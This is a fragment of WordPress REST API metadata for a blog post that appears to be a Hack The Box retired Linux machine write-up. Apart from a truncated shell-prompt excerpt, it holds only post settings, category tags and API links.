\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-120","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/120","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=120"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/120\/revisions"}],"predecessor-version":[{"id":121,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/120\/revisions\/121"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=120"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=120"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=120"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}